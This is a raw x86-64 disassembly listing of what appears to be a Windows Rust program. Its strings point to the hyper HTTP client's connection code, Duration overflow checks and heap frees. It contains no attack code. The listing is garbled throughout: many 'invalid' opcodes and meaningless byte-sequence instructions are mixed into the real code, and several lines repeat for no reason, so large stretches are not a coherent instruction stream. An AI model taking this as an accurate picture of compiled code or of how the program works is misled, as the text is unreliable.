je 0x1400aabf5
mov qword [rsp + 0x30], rbx
mov rax, qword [rsi + 0x30]
mov r9d, r10d
mov rdx, rax
shr rdx, 0x20
je 0x1400aaf77
xor edx, edx
div r9
mov r8, rdx
mov r13, rax
jmp 0x1400aaf82
mov rdx, qword [rsi + 0x40]
movzx eax, byte [rsi + 0x66]
test byte [rsi + 0x61], 1
je 0x1400aac02
test al, al
jne 0x1400aac95
mov rax, r10
cmp r14, rdi
je 0x1400aadbe
mov rax, r10
jmp 0x1400aab8d
add r14, 0x20
cmp r14, rdi
je 0x1400aadbe
movzx ecx, word [r14]
movups xmm0, xmmword [r14 + 0x10]
movups xmmword [rsp + 0x9e], xmm0
test byte [rsi + rbx*4], ah
add byte [rax], al
add byte [rcx + 0xf], al
adc byte [rsi + 2], al
movaps xmmword [rsp + 0x90], xmm0
movups xmm0, xmmword [rsp + 0x9e]
movups xmmword [rsp + 0x14e], xmm0
movdqa xmm0, xmmword [rsp + 0x90]
movdqa xmmword [rsp + 0x140], xmm0
test cl, 1
jne 0x1400aab80
mov word [rax], cx
movaps xmm0, xmmword [rsp + 0x140]
movups xmmword [rax + 2], xmm0
movdqu xmm0, xmmword [rsp + 0x14e]
movdqu xmmword [rax + 0x10], xmm0
add rax, 0x20
jmp 0x1400aab80
mov dword [rsp + 0x38], 0x3b9aca00
jmp 0x1400aaddf
test al, al
je 0x1400aac95
mov rax, r10
cmp r14, rdi
je 0x1400aadbe
mov rax, r10
jmp 0x1400aac2d
shr bl, 1
adc cl, byte [rdi]
invalid
add r14, 0x20
cmp r14, rdi
je 0x1400aadbe
movzx ecx, word [r14]
movups xmm0, xmmword [r14 + 0x10]
movups xmmword [rsp + 0x9e], xmm0
movups xmm0, xmmword [r14 + 2]
movaps xmmword [rsp + 0x90], xmm0
movups xmm0, xmmword [rsp + 0x9e]
movups xmmword [rsp + 0x14e], xmm0
add dword [rax], eax
add byte [rsi + 0xf], ah
outsd dx, dword [rsi]
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rsi + 0xf], ah
jg 0x1400aabec
and al, 0x40
add dword [rax], eax
add dh, dh
rol dword [rcx], 0x74
scasb al, byte [rdi]
mov word [rax], cx
movaps xmm0, xmmword [rsp + 0x140]
movups xmmword [rax + 2], xmm0
movdqu xmm0, xmmword [rsp + 0x14e]
movdqu xmmword [rax + 0x10], xmm0
add rax, 0x20
jmp 0x1400aac20
mov qword [rsp + 0x68], rdx
and al, 0x68
mov qword [rsp + 0x38], r10
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x30], rbx
cmp rdi, r14
mov dword [rsp + 0x70], ecx
je 0x1400aae0b
movzx ebx, byte [r14]
mov qword [rsp + 0x2d0], 0
mov qword [rsp + 0x2d8], 4
mov qword [rsp + 0x2e0], 0
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x98], 4
mov qword [rsp + 0xa0], 0
and bl, 1
lea r13, [rsp + 0x2d0]
jmp 0x1400aad57
mov rcx, rbp
call fcn.1400313a0
mov rax, qword [rbp + 8]
mov rcx, r15
shl rcx, 5
mov word [rax + rcx], si
movaps xmm0, xmmword [rsp + 0x140]
movups xmmword [rax + rcx + 2], xmm0
movdqu xmm0, xmmword [rsp + 0x14e]
movdqu xmmword [rax + rcx + 0x10], xmm0
inc r15
mov qword [rbp + 0x10], r15
add r14, 0x20
cmp r14, rdi
je 0x1400aae53
movzx esi, word [r14]
movups xmm0, xmmword [r14 + 2]
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rsp + 0x14e], xmm1
movaps xmmword [rsp + 0x140], xmm0
mov eax, esi
and al, 1
cmp bl, al
je 0x1400aada0
mov r15, qword [rsp + 0xa0]
lea rbp, [rsp + 0x90]
cmp r15, qword [rsp + 0x90]
je 0x1400aad10
invalid
invalid
invalid
jmp 0x1400aad18
mov r15, qword [rsp + 0x2e0]
mov rbp, r13
cmp r15, qword [rsp + 0x2d0]
jne 0x1400aad18
jmp 0x1400aad10
mov rdi, rax
mov ebp, dword [rsi + 0x38]
cmp ebp, 0x3b9aca00
jne 0x1400aadf7
mov r11, r10
mov eax, 2
mov dword [rsp + 0x38], 0x3b9aca00
mov r14, r10
jmp 0x1400ab245
mov rbx, qword [rdi + 0xb30]
mov rax, qword [rdi + 0xb38]
jmp 0x1400ab3ac
mov r13, rbx
mov rax, qword [rsi + 0x30]
mov r8d, 4
xor ecx, ecx
jmp 0x1400aaff6
mov qword [rsp + 0x2d0], 0
mov qword [rsp + 0x2d8], 4
mov qword [rsp + 0x2e0], 0
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x98], 4
mov qword [rsp + 0xa0], 0
cmp qword [rsp + 0x30], 0
je 0x1400aae6f
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, qword [rsp + 0x38]
call qword [sym.imp.kernel32.dll_HeapFree]
mov r13, qword [rsp + 0x2d0]
mov r14, qword [rsp + 0x2d8]
mov rdi, qword [rsp + 0x2e0]
mov rcx, qword [rsp + 0x90]
mov r8, qword [rsp + 0x98]
mov rdx, qword [rsp + 0xa0]
shl rdi, 5
add rdi, r14
shl rdx, 5
mov rsi, qword [rsp + 0x48]
mov rax, qword [rsi + 0x30]
mov ebp, dword [rsi + 0x38]
mov r15, qword [rsp + 0x58]
je 0x1400aaf13
mov qword [rsp + 0x30], r13
add rdx, r8
cmp ebp, 0x3b9aca00
mov qword [rsp + 0x358], rcx
mov qword [rsp + 0x60], rdx
jne 0x1400aaf2a
lea r9, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
lea rcx, [rsp + 0x140]
mov rdx, qword [rsp + 0x68]
mov rbx, r8
mov r8d, dword [rsp + 0x70]
call fcn.1400ff9a0
mov r8, rbx
mov dword [rsp + 0x38], 0x3b9aca00
mov dword [rsp + 0x44], 0x3b9aca00
jmp 0x1400ab1ac
cmp ebp, 0x3b9aca00
jne 0x1400aaff3
mov r9d, 0x3b9aca00
jmp 0x1400ab09d
mov rbx, r8
mov r9, rdi
sub r9, r14
shr r9, 5
test r9d, r9d
mov dword [rsp + 0x8c], ebp
mov qword [rsp + 0x350], rax
je 0x1400ab0d5
mov dword [rsp + 0x44], 0x3b9aca00
mov r8d, r9d
mov rcx, rax
shr rcx, 0x20
je 0x1400ab0e4
xor edx, edx
div r8
mov rcx, rdx
mov r10, rax
jmp 0x1400ab0ee
xor edx, edx
div r9d
mov r8d, edx
mov r13d, eax
mov eax, ecx
xor edx, edx
div r10d
mov r10d, eax
mov eax, edx
imul rcx, r8, 0x3b9aca00
add rax, rcx
mov rcx, rax
shr rcx, 0x20
je 0x1400aafa8
xor edx, edx
div r9
jmp 0x1400aafad
xor edx, edx
div r9d
mov r9, r13
add r10d, eax
cmp r10d, 0x3b9aca00
mov rbx, qword [rsp + 0x30]
jb 0x1400aafe4
mov eax, r10d
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
add r9, rax
jb 0x1400abb30
imul eax, eax, 0x3b9aca00
sub r10d, eax
mov dword [rsp + 0x38], r10d
mov eax, 2
jmp 0x1400ab245
mov r10, r14
mov r9, rdi
sub r9, r10
shr r9, 5
test r9d, r9d
je 0x1400ab021
mov r14, rcx
mov r11, r8
mov r8d, r9d
mov rcx, rax
shr rcx, 0x20
je 0x1400ab02c
xor edx, edx
div r8
mov rcx, rdx
jmp 0x1400ab033
mov r9d, 0x3b9aca00
mov r14, r10
jmp 0x1400ab09d
xor edx, edx
div r8d
mov ecx, edx
mov qword [rsp + 0x30], rax
mov eax, ebp
xor edx, edx
div r9d
mov r9d, eax
mov eax, edx
imul rcx, rcx, 0x3b9aca00
add rax, rcx
mov rcx, rax
shr rcx, 0x20
je 0x1400ab05e
xor edx, edx
div r8
jmp 0x1400ab063
xor edx, edx
div r8d
add r9d, eax
cmp r9d, 0x3b9aca00
mov r8, r11
mov rcx, r14
jb 0x1400ab09a
mov eax, r9d
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
add qword [rsp + 0x30], rax
jb 0x1400abb30
mov r14, r10
mov dword [rsp + 0x38], r9d
mov eax, 2
test rcx, rcx
je 0x1400ab0c5
mov rcx, qword [0x14019f258]
xor edx, edx
ror byte [rcx + rcx*4 - 0x15], cl
ror byte [rcx + rcx*4 - 0x15], cl
call qword [sym.imp.kernel32.dll_HeapFree]
mov eax, 2
jmp 0x1400ab0c8
mov rbx, r13
mov r11, r14
mov r9, qword [rsp + 0x30]
jmp 0x1400ab245
mov dword [rsp + 0x44], 0x3b9aca00
mov ebp, 0x3b9aca00
jmp 0x1400ab14b
xor edx, edx
div r8d
mov ecx, edx
mov r10d, eax
mov eax, ebp
xor edx, edx
div r9d
mov ebp, eax
mov eax, edx
imul rcx, rcx, 0x3b9aca00
add rax, rcx
mov rcx, rax
shr rcx, 0x20
je 0x1400ab113
xor edx, edx
div r8
jmp 0x1400ab118
xor edx, edx
div r8d
add ebp, eax
cmp ebp, 0x3b9aca00
jae 0x1400ab127
mov r13, r10
jmp 0x1400ab14b
mov eax, ebp
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
add r10, rax
jb 0x1400abb30
lea r9, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
lea rcx, [rsp + 0x140]
mov rdx, qword [rsp + 0x68]
mov r8d, dword [rsp + 0x70]
call fcn.1400ff9a0
mov r10, qword [rsp + 0x60]
mov edx, dword [rsp + 0x60]
mov edx, dword [rsp + 0x60]
sub r10, rbx
shr r10, 5
test r10d, r10d
mov dword [rsp + 0x38], ebp
je 0x1400ab1a6
mov r9d, r10d
mov rax, qword [rsp + 0x350]
mov rcx, rax
shr rcx, 0x20
je 0x1400ab9e8
xor edx, edx
div r9
mov r8, rdx
mov r11, rax
jmp 0x1400ab9f3
mov r8, rbx
mov r9, r13
mov rbx, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x140]
movups xmm0, xmmword [rsp + 0x148]
mov word [rax + rax*2], fs
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x148], al
movaps xmmword [rsp + 0x360], xmm0
movups xmm0, xmmword [rsp + 0x158]
movaps xmmword [rsp + 0x370], xmm0
movups xmm0, xmmword [rsp + 0x168]
movaps xmmword [rsp + 0x380], xmm0
movups xmm0, xmmword [rsp + 0x178]
movaps xmmword [rsp + 0x390], xmm0
movups xmm0, xmmword [rsp + 0x188]
movaps xmmword [rsp + 0x3a0], xmm0
movdqu xmm0, xmmword [rsp + 0x198]
movdqa xmmword [rsp + 0x3b0], xmm0
mov rax, qword [rsp + 0x1a8]
mov qword [rsp + 0x3c0], rax
mov rax, rcx
mov r11, r14
mov r10, qword [rsp + 0x358]
mov rcx, qword [rsp + 0x60]
mov ebp, dword [rsp + 0x44]
mov r13, rdx
mov rdx, qword [rsp + 0x78]
mov qword [rdx + 0x138], rax
mov rax, qword [rsp + 0x3c0]
mov qword [r12 + 0x68], rax
movaps xmm0, xmmword [rsp + 0x3b0]
movups xmmword [r12 + 0x58], xmm0
movaps xmm0, xmmword [rsp + 0x3a0]
movups xmmword [r12 + 0x48], xmm0
movdqa xmm0, xmmword [rsp + 0x360]
movaps xmm1, xmmword [rsp + 0x370]
movaps xmm2, xmmword [rsp + 0x380]
movaps xmm3, xmmword [rsp + 0x390]
movups xmmword [r12 + 0x38], xmm3
movups xmmword [r12 + 0x28], xmm2
push rsp
and al, 0x28
push rsp
and al, 0x28
movups xmmword [r12 + 0x18], xmm1
movdqu xmmword [r12 + 8], xmm0
mov qword [r12 + 0x70], r8
jo case.0x14005714b.659
mov dword [rsp + 0x78], eax
jo case.0x14005714b.659
mov dword [rsp + 0x78], eax
mov qword [r12 + 0x80], r10
mov qword [r12 + 0x88], rcx
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rbp - 0x77], cl
lodsb al, byte [rsi]
and al, 0x90
add byte [rax], al
add byte [rcx - 0x77], al
lodsb al, byte [rsi]
and al, 0x98
add byte [rax], al
add byte [rbp - 0x77], cl
pushfq
and al, 0xa0
add byte [rax], al
add byte [rbp - 0x77], cl
mov ah, 0x24
test al, 0
add byte [rax], al
mov word [rax + rcx*4], fs
add byte [rax], al
add byte [rbp - 0x77], cl
lodsb al, byte [rsi]
and al, 0x90
add byte [rax], al
add byte [rcx - 0x77], al
lodsb al, byte [rsi]
and al, 0x98
add byte [rax], al
add byte [rbp - 0x77], cl
pushfq
and al, 0xa0
add byte [rax], al
add byte [rbp - 0x77], cl
mov ah, 0x24
test al, 0
add byte [rax], al
mov qword [r12 + 0xb0], rbx
mov qword [r12 + 0xb8], rdi
mov rdi, rdx
xlatb
mov qword [r12 + 0xc0], r9
add byte [rax], al
mov eax, dword [rsp + 0x38]
mov dword [r12 + 0xc8], eax
add rsi, 0x10
mov qword [r12 + 0xd0], rsi
lea r13, [rdx + 0x138]
cmp byte [rcx], al
add byte [rax], al
cmp byte [rcx], al
add byte [rax], al
add r12, 0xd8
lea rdx, [rsp + 0x3f8]
add eax, dword [rax]
add byte [rcx - 0x48], al
mov r8d, 0x918
add eax, dword [rax]
add byte [rcx - 0x48], al
mov r8d, 0x918
mov rcx, r12
call fcn.140121660
add byte [rax - 0x73], cl
xchg dword [rax], ebp
or eax, dword [rax]
add byte [rax - 0x77], cl
and al, 0x30
add byte [rax - 0x73], cl
xchg dword [rax], ebp
or eax, dword [rax]
add byte [rax - 0x77], cl
and al, 0x30
mov byte [rdi + 0xb28], 0
mov byte [rdi + 0xb29], 0
lea rcx, [rdi + 0x210]
mov r8d, 0xd8
mov rdx, r13
invalid
call fcn.140121660
lea rbx, [rdi + 0x2b0]
cmp dword [rdi + 0x210], 2
add byte [rdx], al
invalid
add byte [rdx], al
jne 0x1400ab402
mov rax, qword [rdi + 0x2e0]
mov qword [rdi + 0xb30], rbx
mov qword [rdi + 0xb38], rax
lea rcx, [rdi + 0xea8]
mov qword [rsp + 0x48], rcx
mov byte [rdi + 0xea8], 0
mov qword [rdi + 0xb40], rbx
mov qword [rdi + 0xb48], rax
or eax, dword [rax]
add byte [rax - 0x39], cl
xchg dword [rax + 0xb], edx
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
or eax, dword [rax]
add byte [rax - 0x39], cl
xchg dword [rax + 0xb], edx
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
mov qword [rdi + 0xb70], rbx
xor r14d, r14d
mov rax, qword [rbx + 8]
mov r12, r14
cmp rax, qword [rbx + 0x18]
jne 0x1400abbcc
test r12, r12
je 0x1400ac49f
mov r15, qword [rdi + 0xb58]
add byte [rax], al
movdqu xmm6, xmmword [rdi + 0xb60]
mov ebp, 2
jmp 0x1400ac5d7
add byte [rax], al
add byte [rax], al
lea rcx, [rdi + 0x2e8]
mov r8d, 0xa0
mov rdx, r13
call fcn.140121660
mov rax, qword [rdi + 0x2e0]
lea rdx, [rdi + 0x388]
mov qword [rdi + 0x388], rbx
mov qword [rdi + 0x390], rax
mov byte [rdi + 0x700], 0
add byte [rax], al
add byte [rax - 0x73], cl
invalid
pop rax
add eax, dword [rax]
add byte [rbp + rcx*4 - 0x79], cl
or byte [rdi], al
add byte [rax], al
mov qword [rdi + 0x708], rcx
mov qword [rdi + 0x710], rax
mov byte [rdi + 0xa80], 0
mov qword [rdi + 0xb30], r8
lea rax, [rdi + 0xa88]
movups xmm0, xmmword [r13]
movups xmm1, xmmword [r13 + 0x10]
movups xmm2, xmmword [r13 + 0x20]
movups xmm3, xmmword [r13 + 0x30]
movups xmmword [rdi + 0xa88], xmm0
movups xmmword [rdi + 0xa98], xmm1
movups xmmword [rdi + 0xaa8], xmm2
movups xmmword [rdi + 0xab8], xmm3
movups xmm0, xmmword [r13 + 0x40]
movups xmmword [rdi + 0xac8], xmm0
movups xmm0, xmmword [r13 + 0x50]
movups xmmword [rdi + 0xad8], xmm0
movdqu xmm0, xmmword [r13 + 0x60]
movdqu xmmword [rdi + 0xae8], xmm0
mov qword [rdi + 0xb38], rdx
mov qword [rdi + 0xb40], rax
add byte [rax], al
add byte [rax - 0x73], cl
invalid
lea rcx, [rsp + 0x140]
mov r8, r15
call fcn.1400c3320
mov rbp, qword [rsp + 0x140]
cmp rbp, 3
jne 0x1400ab51d
lea rcx, [rsp + 0x140]
call fcn.14006d080
mov rcx, qword [rdi + 0xb40]
add byte [rcx + rcx*4 - 6], cl
or eax, dword [rax]
add byte [rcx + rcx*4 - 6], cl
call fcn.1401004e0
test al, al
je 0x1400ab5c9
add byte [rcx + 0x448b4804], dh
and al, 0x50
mov cl, 4
mov rax, qword [rsp + 0x50]
jmp case.0x14009cbef.37
mov rax, qword [rdi + 0xb40]
cmp qword [rdi + 0xb38], 0
mov qword [rdi + 0xb38], 0
je 0x1400abaa6
mov r12, qword [rsp + 0x148]
movups xmm0, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x120], xmm0
test byte [rax + riz], ah
add dword [rax], eax
invalid
test byte [rax + rdx*2], ah
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x120], eax
test byte [rax + riz], ah
add dword [rax], eax
invalid
test byte [rax + riz], ah
add dword [rax], eax
add byte [rax - 0x75], cl
mov word [rax + riz*2], fs
add dword [rax], eax
add byte [rax - 0x77], cl
mov word [rax + rsi], fs
add dword [rax], eax
add byte [rax - 0x77], cl
scasd eax, dword [rdi]
clc
or al, byte [rax]
add byte [rcx + rcx*4 - 0x59], cl
add byte [rbx], cl
add byte [rax], al
mov rcx, qword [rsp + 0x160]
mov qword [rsp + 0x130], rcx
mov qword [rdi + 0xaf8], rbp
mov qword [rdi + 0xb00], r12
movaps xmm0, xmmword [rsp + 0x120]
movups xmmword [rdi + 0xb08], xmm0
mov rcx, qword [rsp + 0x130]
mov qword [rdi + 0xb18], rcx
add byte [rax], al
mov qword [rdi + 0xb20], rax
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x2e0], rax
movaps xmm0, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x2d0], xmm0
mov rdx, qword [rdi + 0xb30]
mov eax, 1
jmp 0x1400ab748
mov rdx, qword [rdi + 0xb38]
mov qword [rdi + 0xb38], 0
cmp byte [rbx], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
xchg dword [rax], edi
cmp byte [rbx], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
test rdx, rdx
je 0x1400abaa6
mov qword [rdi + 0xaf8], 3
mov qword [rdi + 0xb00], rdx
cmp byte [rbx], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
test rdx, rdx
je 0x1400abaa6
mov qword [rdi + 0xaf8], 3
mov qword [rdi + 0xb00], rdx
movdqa xmm0, xmmword [rsp + 0x120]
movdqu xmmword [rdi + 0xb08], xmm0
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x130]
mov qword [rdi + 0xb18], rax
or eax, dword [rax]
add byte [rax - 0x75], cl
xchg dword [rax], esi
or eax, dword [rax]
add byte [rax - 0x77], cl
xchg edi, eax
xor byte [rbx], cl
add byte [rax], al
mov qword [rdi + 0xb38], rax
lea rcx, [rsp + 0x140]
mov r8, r15
call fcn.1400c3320
mov rbp, qword [rsp + 0x140]
cmp rbp, 3
jne 0x1400ab694
lea rcx, [rsp + 0x140]
call fcn.14006d080
sbb bh, ah
dec dword [rax - 0x75]
xchg edi, eax
cmp byte [rbx], cl
add byte [rax], al
sbb bh, ah
dec dword [rax - 0x75]
xchg edi, eax
cmp byte [rbx], cl
add byte [rax], al
lea rcx, [rsp + 0x140]
mov r8, r15
call fcn.1400c3320
mov rbp, qword [rsp + 0x140]
cmp rbp, 3
jne 0x1400ab6e0
lea rcx, [rsp + 0x140]
call fcn.14006d080
mov cl, 5
mov rax, qword [rsp + 0x50]
jmp case.0x14009cbef.37
mov rdx, qword [rdi + 0xb38]
cmp qword [rdi + 0xb30], 0
mov qword [rdi + 0xb30], 0
je 0x1400abaa6
mov r12, qword [rsp + 0x148]
movups xmm0, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x90], xmm0
mov rax, qword [rsp + 0x160]
mov eax, dword [rsp + 0x160]
mov eax, dword [rsp + 0x160]
mov qword [rsp + 0xa0], rax
xor eax, eax
jmp 0x1400ab728
mov rdx, qword [rdi + 0xb30]
mov rdx, qword [rdi + 0xb30]
mov qword [rdi + 0xb30], 0
test rdx, rdx
je 0x1400abaa6
mov r12, qword [rsp + 0x148]
movups xmm0, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x90], xmm0
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0xa0], rax
mov eax, 1
mov rcx, qword [rsp + 0xa0]
mov qword [rsp + 0x2e0], rcx
movaps xmm0, xmmword [rsp + 0x90]
movaps xmmword [rsp + 0x2d0], xmm0
mov byte [rdi + 0xb29], 1
mov qword [rdi + 0xb30], rbp
or eax, dword [rax]
add byte [rcx + rcx*4 - 0x59], cl
cmp byte [rbx], cl
add byte [rax], al
movdqa xmm0, xmmword [rsp + 0x2d0]
movdqu xmmword [rdi + 0xb40], xmm0
add al, byte [rax]
add bl, dh
movq qword [rdi + 0xb40], mm0
mov rcx, qword [rsp + 0x2e0]
mov qword [rdi + 0xb50], rcx
cmp rbp, 2
jne 0x1400ab7bb
mov qword [rdi + 0xb58], rax
mov qword [rdi + 0xb60], rdx
lea rcx, [rsp + 0x140]
mov r8, r15
call fcn.1400c3320
mov rbp, qword [rsp + 0x140]
cmp rbp, 3
jne 0x1400ab7cf
mov cl, 6
mov rax, qword [rsp + 0x50]
jmp case.0x14009cbef.37
mov r15, qword [rdi + 0xb40]
movdqu xmm6, xmmword [rdi + 0xb48]
jmp 0x1400ab86c
mov r12, qword [rsp + 0x148]
mov r15, qword [rsp + 0x150]
movdqu xmm6, xmmword [rsp + 0x158]
test byte [rdi + 0xb29], 1
je 0x1400ab86c
cmp dword [rdi + 0xb30], 2
jne 0x1400ab860
cmp qword [rdi + 0xb40], 0
je 0x1400ab81a
mov r8, qword [rdi + 0xb38]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rdi + 0xb48]
test r14, r14
je 0x1400ab86c
mov rsi, qword [rdi + 0xb50]
mov rax, qword [rsi]
test rax, rax
je 0x1400ab83a
mov rcx, r14
call rax
cmp qword [rsi + 8], 0
je 0x1400ab86c
cmp qword [rsi + 0x10], 0x11
jb 0x1400ab84c
lea rcx, [rdi + 0xb30]
call fcn.1400978b0
mov byte [rdi + 0xb29], 0
lea rcx, [rdi + 0xa88]
call fcn.140106ed0
lea rcx, [rdi + 0xa90]
test byte [rdi + 0xa88], 1
je 0x1400ab89f
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400ab8ad
call fcn.1400caa30
jmp 0x1400ab8ad
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x1400ab8ad
call fcn.14002ded0
mov rax, qword [rdi + 0xad0]
test rax, rax
je 0x1400ab8c3
mov rcx, qword [rdi + 0xad8]
call qword [rax + 0x18]
cmp byte [rdi + 0xa80], 3
jne 0x1400ab941
lea rcx, [rdi + 0x8f8]
add byte [rax], al
call fcn.1400ac920
mov r8, qword [rdi + 0x728]
test r8, r8
je 0x1400ab941
cmp qword [rdi + 0x730], 0
je 0x1400ab8fd
cmp byte [rdi + 0x700], 3
jne 0x1400ab9bf
call fcn.1400ac920
mov r8, qword [rdi + 0x3a8]
test r8, r8
je 0x1400ab9bf
cmp qword [rdi + 0x3b0], 0
je 0x1400ab97b
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rdi + 0x3b8]
test r14, r14
je 0x1400ab9bf
mov rsi, qword [rdi + 0x3c0]
mov rax, qword [rsi]
test rax, rax
je 0x1400ab99b
mov rcx, r14
call rax
cmp qword [rsi + 8], 0
je 0x1400ab9bf
cmp qword [rsi + 0x10], 0x11
jb 0x1400ab9ad
mov r14, qword [r14 - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rdi + 0x368], 0
je 0x1400ac5df
mov r8, qword [rdi + 0x358]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400ac5df
xor edx, edx
div r9d
mov r8d, edx
mov r11d, eax
mov eax, dword [rsp + 0x8c]
xor edx, edx
div r10d
mov ecx, eax
mov eax, edx
imul rdx, r8, 0x3b9aca00
add rax, rdx
ror byte [rax - 0x77], 1
invalid
ror byte [rax - 0x77], 1
ret 0xc148
mov edx, eax
shr rdx, 0x20
je 0x1400aba1d
xor edx, edx
div r9
jmp 0x1400aba22
xor edx, edx
div r9d
div ecx
rol byte [rcx - 9], cl
int1
div ecx
mov r8, rbx
mov r9, r13
add ecx, eax
cmp ecx, 0x3b9aca00
mov rbx, qword [rsp + 0x30]
jae case.0x14009a20c.46
mov rdx, r11
mov dword [rsp + 0x44], ecx
jmp 0x1400ab1b1
mov eax, ecx
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
call 0x1030c037d
jb 0x1400abb84
invalid
mov rdx, r11
imul eax, eax, 0x3b9aca00
sub ecx, eax
add dl, cl
invalid
mov dword [rsp + 0x44], ecx
jmp 0x1400ab1b1
invalid
add byte [rcx + 1], bh
mov ecx, 1
add dword [rax], eax
add byte [rax], al
mov edx, 0x1c
call fcn.140122170
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
or eax, 0xb125f
call fcn.140122c50
lea rcx, str.internal_error:_entered_unreachable_code_rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrary_alloc_srccollections_vec_dequemod.rsmark_pending_called_when_the_timer_entry_is_in_an_invalid_state
lea r8, [0x140159160]
mov edx, 0x28
call fcn.140122660
mov ecx, 1
add byte [rax], al
invalid
add byte [rbp + rcx*4 + 5], cl
lodsb al, byte [rsi]
invalid
add byte [rax], al
add byte [rdx + 0x1e], bh
mov edx, 0x1e
mov edx, 0x1e
call fcn.140122170
mov ecx, 4
mov edx, 0x20
and byte [rax], al
add byte [rax], al
and byte [rax], al
add byte [rax], al
call fcn.140122190
lea rcx, [0x14015ccd0]
call fcn.140122c50
mov ecx, 1
mov edx, 9
call fcn.140122170
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
call fcn.140122c50
xor ecx, ecx
mov rdx, rbp
call fcn.140122170
mov ecx, 1
mov rdx, rbp
call fcn.140122170
mov qword [rsp + 0x60], 0
mov rcx, qword [rsp + 0x60]
mov rdx, r12
call fcn.140122170
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], 1
mov qword [rsp + 0x150], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x158], xmm0
lea rdx, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrarycore_src_time.rs
lea rcx, [rsp + 0x140]
call fcn.1401224d0
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
call fcn.140122c50
lea rax, str.overflow_in_Duration::new
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
mov qword [rsp + 0xa0], 8
pxor xmm0, xmm0
movdqu xmmword [rsp + 0xa8], xmm0
lea rdx, str._rustc_41dd149fd6a6a06795fc6b9f54cb49af2f61775flibrarycore_src_time.rs
lea rcx, [rsp + 0x90]
call fcn.1401224d0
lea rcx, [rax + 0x20]
mov qword [rbx + 8], rcx
movzx ecx, word [rax]
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rsp + 0x3de], xmm0
movups xmm0, xmmword [rax + 2]
movaps xmmword [rsp + 0x3d0], xmm0
cmp cx, 2
je 0x1400ac48f
lea rdx, [rdi + 0xb78]
mov word [rdi + 0xb78], cx
movaps xmm0, xmmword [rsp + 0x3d0]
movups xmmword [rdi + 0xb7a], xmm0
movdqu xmm0, xmmword [rsp + 0x3de]
movdqu xmmword [rdi + 0xb88], xmm0
mov rax, qword [rdi + 0xb40]
mov r8, qword [rdi + 0xb48]
mov r9, qword [rax + 0x20]
and byte [rbx + 0x44892840], cl
and al, 0x20
add byte [rsi - 0x77], ah
invalid
lea rcx, [rsp + 0x140]
call fcn.140030b40
cmp dword [rsp + 0x148], 0x3b9aca01
je 0x1400ac529
or byte [rax], al
invalid
or byte [rax], al
add byte [rbp + rcx*4 - 0x49], cl
lea esi, [rdi + 0xb98]
lea rdx, [rsp + 0x140]
mov r8d, 0x188
lea r14, [rdi + 0xb98]
lea esi, [rdi + 0xb98]
lea rdx, [rsp + 0x140]
add byte [rax], al
mov r8d, 0x188
mov rcx, r14
call fcn.140121660
cmp dword [rdi + 0xba0], 0x3b9aca01
je 0x1400ac553
invalid
mov qword [rsp + 0x38], r13
lea r13, [rdi + 0xd20]
mov r8d, 0x188
cmp byte [rbp + rcx*4 - 0x51], cl
and byte [0xf84bbc99], cl
mov byte [rcx], al
add byte [rax], al
mov rcx, r13
mov rdx, r14
call fcn.140121660
movzx eax, byte [rdi + 0xdb0]
mov al, 0xd
add byte [rax], al
mov al, 0xd
add byte [rax], al
lea rcx, [0x140194c0c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
jmp rax
mov esi, dword [rdi + 0xd28]
cmp esi, 0x3b9aca00
jne 0x1400abd8d
movups xmm0, xmmword [rdi + 0xda0]
movups xmmword [rdi + 0xe28], xmm0
movups xmm0, xmmword [rdi + 0xd90]
